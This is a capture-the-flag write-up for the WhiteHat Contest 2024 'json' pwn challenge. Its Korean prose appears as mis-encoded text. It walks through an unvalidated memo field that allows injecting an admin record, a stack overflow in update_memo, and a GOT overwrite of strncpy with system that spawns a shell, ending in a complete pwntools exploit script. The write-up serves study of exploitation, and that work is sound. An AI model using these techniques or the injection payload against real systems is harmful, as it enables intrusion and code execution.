WhiteHat Contest 2024 - json

0x00. Introduction

[*] '/home/user/json'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Concept

init() ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ์‹คํ–‰ ๋•Œ๋งˆ๋‹ค /users/[random string]๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ USER_FILE์„ ์ƒ์„ฑํ•ด์„œ DB ํŒŒ์ผ๋กœ ์‚ฌ์šฉํ•œ๋‹ค. ์ตœ์ดˆ์—๋Š” user_base.bin ํŒŒ์ผ์„ ์ฝ์–ด์™€ ๊ทธ๋Œ€๋กœ ์ €์žฅํ•˜๋ฉฐ ๋‚ด์šฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  • [2|guest|guest|guest memo]
    • 2 : type
    • 1st guest : user
    • 2nd guest : pass
    • guest memo : memo

์ด DB ํŒŒ์ผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ user, pass๊ฐ€ ์ผ์น˜ํ•˜๋ฉด token์„ ๋ฐœํ–‰ํ•ด ์„ธ์…˜์„ ์ƒ์„ฑํ•˜๊ณ , ๊ทธ ์ •๋ณด๋ฅผ session ์ „์—ญ๋ณ€์ˆ˜์— ์ €์žฅํ•œ๋‹ค.

Structure

struct sess // sizeof=0x40
{
    char user[16];
    char pass[16];
    char *memo;
    __int64 type;
    char token[16];
};

๋ฐœํ–‰๋œ ์„ธ์…˜์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ์œ„์™€ ๊ฐ™์€ ๊ตฌ์กฐ์ฒด ํ˜•์‹์œผ๋กœ ์ €์žฅ๋œ๋‹ค.

Goal

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
    ...
        else if ( !strcmp((const char *)s, "UpdateMemo") && LOBYTE(session->type) == '1' )
        {
          update_memo();
        }
    ...
}

char *update_memo()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  read(0, buf, 0x100uLL);
  return strncpy((char *)session->memo, buf, 0x100uLL);
}

type์ด 1์ผ ๊ฒฝ์šฐ update_memo()๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ณ , ๊ทธ ์•ˆ์—์„œ BOF๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

0x01. Vulnerability

void __fastcall create_user(__int64 json)
{
  ...
  stream = fopen(USER_FILE, "ab");
  ...
  extract(json, "user", user, 16);
  extract(json, "pass", pass, 16);
  extract(json, "memo", memo, 256);
  if ( *(_BYTE *)user && *(_BYTE *)pass && *(_BYTE *)memo )
  {
    fwrite("[", 1uLL, 1uLL, stream);
    fwrite("2", 1uLL, 1uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(user, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(pass, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(memo, 1uLL, 0x100uLL, stream);
    fwrite("]\n", 1uLL, 2uLL, stream);
  }
  ...
}

create_user()์—์„œ USER_FILE์— ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ type์ด 2๊ฐ€ ๋˜๊ฒŒ๋” ํ•˜๋“œ์ฝ”๋”ฉ ๋˜์–ด์žˆ๋‹ค.

ํ•˜์ง€๋งŒ memo์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ์—†์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

  • memo : AAAA]\n[1|admin|admin|admin memo
[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]

์ดํ›„ admin/admin์œผ๋กœ create_session()์„ ํ˜ธ์ถœํ•˜๋ฉด type์ด '1'์ธ ์„ธ์…˜์ด ์ƒ์„ฑ๋œ๋‹ค.

0x02. Exploit

์ด์ œ ROP๋งŒ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋˜๊ฒ ๋‹ค ์‹ถ์—ˆ๋Š”๋ฐ ์• ์„ํ•˜๊ฒŒ๋„ ์ธ์ž๋ฅผ ์„ค์ •ํ•  ๊ฐ€์ ฏ์ด ํ•˜๋‚˜๋„ ์—†์—ˆ๋‹ค.

โžœ  ROPgadget --binary=json | grep rdi
0x0000000000401406 : or dword ptr [rdi + 0x405108], edi ; jmp rax
0x0000000000401c76 : ror byte ptr [rdi], 0x85 ; retf

์ฒ˜์Œ์—๋Š” update_memo()์˜ strncpy ์ข…๋ฃŒ ์‹œ์ ์˜ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ด์šฉํ•˜๋ ค๊ณ  ํ–ˆ์œผ๋‚˜, session->memo์˜ ๋ ๋ถ€๋ถ„์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์–ด /bin/sh ๋“ฑ์˜ ์ธ์ž๋ฅผ ๋„ฃ์–ด์ฃผ๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•ด๋ณด์˜€๋‹ค.

system PLT๊ฐ€ ๊ดœํžˆ ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹๊ฑฐ๋ผ๊ณ  ์ƒ๊ฐํ•ด์„œ update_memo()๋ฅผ assembly๋กœ ์‚ดํŽด๋ณด์•˜๋‹ค.

.text:0000000000402140  endbr64
.text:0000000000402144  push    rbp
.text:0000000000402145  mov     rbp, rsp
.text:0000000000402148  sub     rsp, 10h
.text:000000000040214C  lea     rax, [rbp+buf]
.text:0000000000402150  mov     edx, 100h       ; nbytes
.text:0000000000402155  mov     rsi, rax        ; buf
.text:0000000000402158  mov     edi, 0          ; fd
.text:000000000040215D  call    _read
.text:0000000000402162  mov     rax, cs:session
.text:0000000000402169  mov     rax, [rax+20h]
.text:000000000040216D  lea     rcx, [rbp+buf]
.text:0000000000402171  mov     edx, 100h       ; n
.text:0000000000402176  mov     rsi, rcx        ; src
.text:0000000000402179  mov     rdi, rax        ; dest
.text:000000000040217C  call    _strncpy
.text:0000000000402181  nop
.text:0000000000402182  leave
.text:0000000000402183  retn

read์˜ ์ธ์ž์ธ rsi๊ฐ€ rbp๋ฅผ ํ†ตํ•ด ์„ค์ •๋˜๋Š”๋ฐ, BOF๋ฅผ ํ†ตํ•ด rbp๋Š” ์–ผ๋งˆ๋“ ์ง€ ์ปจํŠธ๋กค ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ AAW๋„ ๊ฐ€๋Šฅํ•œ ์ƒํ™ฉ์ด๋‹ค.

์—ฌ๊ธฐ์—์„œ GOT overwrite๋ฅผ ์ƒ๊ฐํ–ˆ๊ณ , strncpy์˜ rdi๊ฐ€ session->memo๋กœ ์„ค์ •๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ ๋ฏธ๋ฆฌ /bin/sh๋ฅผ ๋„ฃ์–ด๋‘๋ฉด ์‰˜ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ–ˆ๋‹ค.

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "json"
LIBRARY = "libc.so.6"
CONTAINER = "f0268ff749ca"

code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}

gs = f'''
b *update_memo
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_session(s, user, pw):
    json = f"{{method:CreateSession,user:{user},pass:{pw}}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def clear_session(s):
    json = f"{{method:ClearSession}}"
    s.send(json.encode())
    return

def create_user(s, token, user, pw, memo):
    json = f"{{token:{token},method:CreateUser,user:{user},pass:{pw},memo:{memo}}}"
    s.send(json.encode())
    return

def check_user(s, token):
    json = f"{{token:{token},method:CheckUser}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def update_memo(s, token, payload):
    json = f"{{token:{token},method:UpdateMemo}}"
    s.send(json.encode())
    pause()
    s.send(payload)
    return

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    token = create_session(s, "guest", "guest").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"guest token : {token}")

    create_user(s, token, "AAAA", "AAAA", "AAAA]\n[1|admin|admin|admin memo")

    clear_session(s)
    sleep(0.5)

    token = create_session(s, "admin", "admin").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"admin token : {token}")

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)